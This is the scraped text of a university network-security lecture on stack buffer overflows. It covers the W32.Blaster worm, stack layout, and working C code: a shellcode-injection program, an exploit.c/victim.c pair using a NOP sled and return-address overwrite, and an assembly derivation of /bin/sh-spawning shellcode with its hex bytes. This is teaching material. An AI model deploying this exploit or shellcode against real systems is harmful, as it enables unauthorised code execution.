720 likes | 811 Views
King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008. Prof. Reuven Aviv. Buffer Overflow Attacks. Prelude. W32.Blaster revisited.
E N D
King Mongkut’s University of TechnologyFaculty of Information TechnologyNetwork SecurityWinter 2008 Prof. Reuven Aviv Buffer Overflow Attacks Buffer Overflow
Prelude W32.Blaster revisited Buffer Overflow
“W32.Blaster scans networks looking for computers that are vulnerable to the Microsoft RPC Buffer Overflow. To infect vulnerable machines, the worm connects to port 135/TCP and opens a command shell that listens on port 4444/TCP. It then opens a Trivial FTP server on port 69/UDP on the target machine. Using the command shell, the worm instructs the target machine to download its payload via the Trivial FTP server. The command shell is used to execute the downloaded file”. Buffer Overflow
W32.Blaster infects EPM process • End Point Mapper process – very important • EPM Process listens on port 135 • RPC servers register name & port on EPM • RPC clients requests the info from EPM • EPM includes GetMachineName(…) function • extracts a name from a longer string • puts it in local buffer (in stack) • didn’t check for length of supplied name • In reality, it was a long malicious string • A shell!.. that eventually runs instead of EPM Buffer Overflow
contents • 1. The Stack • 2. Flooding the stack in your own program • 3. Making your program execute a bad code by flooding it into the stack • 4. Buffer overflow attack of another process • Appendices • 1. The basic shellcode • 2. port binding shellcode Buffer Overflow
1. The Stack Buffer Overflow
Process Memory Organization HiAddr return address of function Stack Variables Stack Heap Code Buffer Overflow LoAddr
2. Flooding the stack in your own program Buffer Overflow
Flooding a buffer: flow1.c void function(char *str) { char buffer[8]; strcpy(buffer, str); } what’s the problem here? void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } what will happen? Buffer Overflow
Arguments & Local variables pushed to stack RET Address Of function() buffer Buffer Overflow
strcopy() starts executing RET Address Of function() Arguments & local Variables Of strcopy Not drawn buffer Buffer Overflow
Strcopy is executed HiAddr RET Address Of function LoAddr Buffer Overflow
strcopy is executing: buffer is full HiAddr RET Address Of function LoAddr Buffer Overflow
strcopy is executing: Buffer Overflows RET Address Of function Buffer Overflow
Buffer Overflows RET Address Of function Buffer Overflow
Buffer Overflows RET Address Of function Buffer Overflow
HiAddr LoAddr function() returns to address out of memory space RET Address Of function Buffer Overflow
Compile & run the self flooding program OSPrompt /* waiting for my command OSPrompt gcc –o flow1 flow1.c /* compiling OSPrompt ./flow1 /* running the program “Segmentation fault” /*The OS announce failure OSPrompt/* back to the prompt Buffer Overflow
3. Making your program execute a bad codeby flooding it into the stack Buffer Overflow
Injecting a bad code to the stack • Inject a bad code into the memory space of the process, and • set the return address to point back to the code Stack Bad Code Heap Code Buffer Overflow
Injecting a bad code to our program Bad Code Bad Code Buffer Overflow
How a bad code is constructed (briefly) char shellcode [ ] = “ about 100 chars “ ; an array. In binary it is the injected bad code This code for example will spawn a shell (shellcode) A program that waits for a command It modifies itself. It has to be in DATA segment, so that your compiler will not know it is a code Char shellcode [] = /* injected code 45 bytes*/ “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\xbd\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff\/bin/sh” Buffer Overflow
Overflowing buffer with shellcode: flow2.c char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /*fill large_string array with address of buffer*/ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; first 45 bytes with shellcode strcpy(buffer, large_string); } flood local buffer Buffer Overflow
We want to go from here RET Addr. Of main() Stack Data Code Buffer Overflow
To here: When main() returns, a shell starts RET Addr. Of main() DATA Buffer Overflow
Initializing large_string with addresses Of buffer RET Addr. Of main() Stack Data Code Buffer Overflow
copy first 45 bytes of large_string with shellcode RET Addr. Of main() Stack Data Code Buffer Overflow
Copy large_string to smaller buffer in stack RET Addr. Of main() Stack Data Code Buffer Overflow
Overflow writes address of shellcode to RET RET Addr. Of main() Stack Data Code Buffer Overflow
When main() returns, a shell starts RET Addr. Of main() DATA Buffer Overflow
Overflowing Buffer with shellcode: flow2.c char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /*fill large_string array with address of buffer*/ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; first 45 bytes with shellcode strcpy(buffer, large_string); } flood local buffer Buffer Overflow
Compile an run your program • OSPrompt/* OS waiting to my command • OSpromptgcc – o flow2 flow.c/* compile • OSPrompt ./flow2 /* run the program • $ /* prompt of the bad code */ • $ exit /* I command the bad code to exit • OSPrompt/* OS waiting to my command Buffer Overflow
4. Buffer overflow attack ofanother processAttacking Program: exploit.cAttacked Program: victim.c Buffer Overflow
Buffer overflow Attack: Overflowing another (victim) process • Passing payload (shellcode+) from the attacking (exploit) process to victim process: • via standard input, network, environ var, pipe… • Assume victim code has a vulnerable function func that overflows its local buffer with the payload • How exploit knows where on the stack of victim is the location of RET of func? • What is the shellcode address that we write there? Buffer Overflow
Overcoming our ignorance of the location of RET address of func and address of shellcode SP • find SP (Stack Pointer) in exploit • guess offset • addr = SP - offset • payload: • addr, addr, … • Shellcode • NOP, NOP, … Payload: addr, add, addr, addr, addr, addr, addr, addr, addr…. Shellcode instructions Shellcode instructions NOP, NOP, NOP, NOP, NOP, NOP,… ret address of func offset Overflow Local buffer addr Vulnerable function() IP Buffer Overflow
The victim program: victim.c • void main (intargc, char *argv[]) { • char buffer [512] /* the local buffer • if argc > 1 strcpy (buffer, argv[1]) ; • } • /*The vulnerable function funcis here strcpy() • /* the argument to victim will have the payload Buffer Overflow
The attacking program: exploit.c /* exploit gets two CL args: buffer size and offset. It puts payload in environment variable EGG */ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[]="\xeb\x1f\.........\x0b\xff/bin/sh"; 45B unsigned long get_sp(void) { return current SP __asm__(“movel %esp, %eax); } Buffer Overflow
void main( int argc, *char argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset = DEFAULT_OFFSET; int bsize = DEFAULT_BUFFER_SIZE; int i; if (argc >1 ) bsize = atoi(argv[1]); if argc > 2 offset = atoi(argv[2]); if (!(buff = malloc(bsize))) {printf (“no memory\n”);exit(0)} addr = get_sp() – offset; printf (“Using address: 0x%x\n”, addr); Buffer Overflow
ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i += 4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) – strlen(shellcode)/2)); for (i= 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff [bsize -1] = \0; memcpy (buff, “EGG=“, 4); putenv(buff); system(“/bin/bash”); /* } /* end exploit.c */ EGG=NOP NOP…Shellcode … addr addr addr… Buffer Overflow
Run the two programs MyPrompt ./exploit 612 run exploit guess offset Using address: 0xbffffdb4 /* exploit anaounce MyPrompt ./victim $EGG /* run victim /* victim gets payload in an environment variable EGG*/ $ /* prompt from victim at exploit machine, waiting for command Buffer Overflow
Appendices:1. The basic shellcode2. Port Binding Shell code Buffer Overflow
Appendix 1: The basic shellcode Buffer Overflow
Strategy to build bad code • 1. Write a bad code in C. Usually it spawns a shell • Basically this is execve(/bin/sh, …) • 2. Compile to assembly code • 3. get machine code (in hex) • 4. copy machine code in hex into the shellcode array • Several modifications along the way • Addresses (e.g. of /bin/sh) problem • \0 problem Buffer Overflow
Step 1: Spawning a Shell – in C #include <stdio.h> #include <stdlib.h> void main() { char *name[2]; /* array of two pointers*/ name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } /* name is a pointer to array of two pointers */ Buffer Overflow
Assembler for main() (Procedure prelude) 0x8000130 pushl %ebp save current FP on stack 0x8000131 movl %esp, %ebp new FP := SP 0x8000133 subl $0x8, %esp move SP 8 bytes (Space for local var – 2 pointers: char *name [2] ) All addresses of variables are relative to FP (%ebp) Preparing data structures for exec on the stack 0x8000136 movl $0x80027b8, 0xfffffff8(%ebp) (copyaddress of /bin/shinto first element of name[]) (name[0] = “/bin/sh”;) 0x800013d movl $0x0, 0xfffffffc(%ebp) (copy 0 (NULL) to second element of name[]) Buffer Overflow
calling execve from main() (Pushing 3 arguments of execve - start from third) 0x8000144 pushl $0x0 the NULL argument 0x8000146 leal 0xfffffff8(%ebp), %eax (copy address of array, i.e. (ebp)-8, to eax) 0x8000149 pushl %eax now push it to stack 0x800014a movl 0xfffffff8(%ebp), %eax (copy address of /bin/sh, which is in (ebp)-8, to eax) 0x800014d pushl %eax now push it to stack 0x800014e call0x80002bc call execve (call will push IP – the return address – to stack) Buffer Overflow
main() after execve returned 0x8000153 addl $0xc, %esp SP goes down by 12 (free the stack from the three arguments of exceve) 0x8000156 movl %ebp, %esp (make SP points to saved FP, just above the RET) 0x8000158 popl %ebp recover saved FP (now SP points to the RET address) 0x8000159 ret (ret will pop RET address, pointed to by SP, into IP) Buffer Overflow
execve assembly code Note: Syscalls in Linux need arguments in registers (procedure prelude) 0x80002bc pushl %ebp save current FP on stack 0x80002bd movl %esp, %ebp new FP:= SP (ebp, frame pointer, now points to top of stack, above the end of the three pointer arguments prepared for exceve. The arguments are at offsets 8, 12, 16 0x80002bf pushl %ebx (We need the use of this register, so save it) Buffer Overflow
execve assembly code (2) 0x80002c0 movl $0xb, %eax put 11 in eax (11 is the Syscall ID of execve) 0x80002c5 movl 0x8(%ebp), %ebx 0x80002c8 movl 0xc(%ebp), %ecx 0x80002cb movl 0x10 (%ebp), %edx (copy three arguments from stack to registers) 0x80002ce int 0x80 (Software interrupt – execute the Syscall) Buffer Overflow
Summary - to run execve we need to: • Have a Null terminated String /bin/sh in memory • Have address of the String /bin/sh in memory • Have a NULL address (long) after that • Together this is the two pointers array • Copy Syscall ID of execve (11 = oxb) to eax • Copy address of the String /bin/sh to ebx (1’st arg) • Copy addr. of the address of the String to ecx • 2’nd arg - the address of the two pointers array • Copy address of the NULL to edx - third arg • Execute int 0x80 Buffer Overflow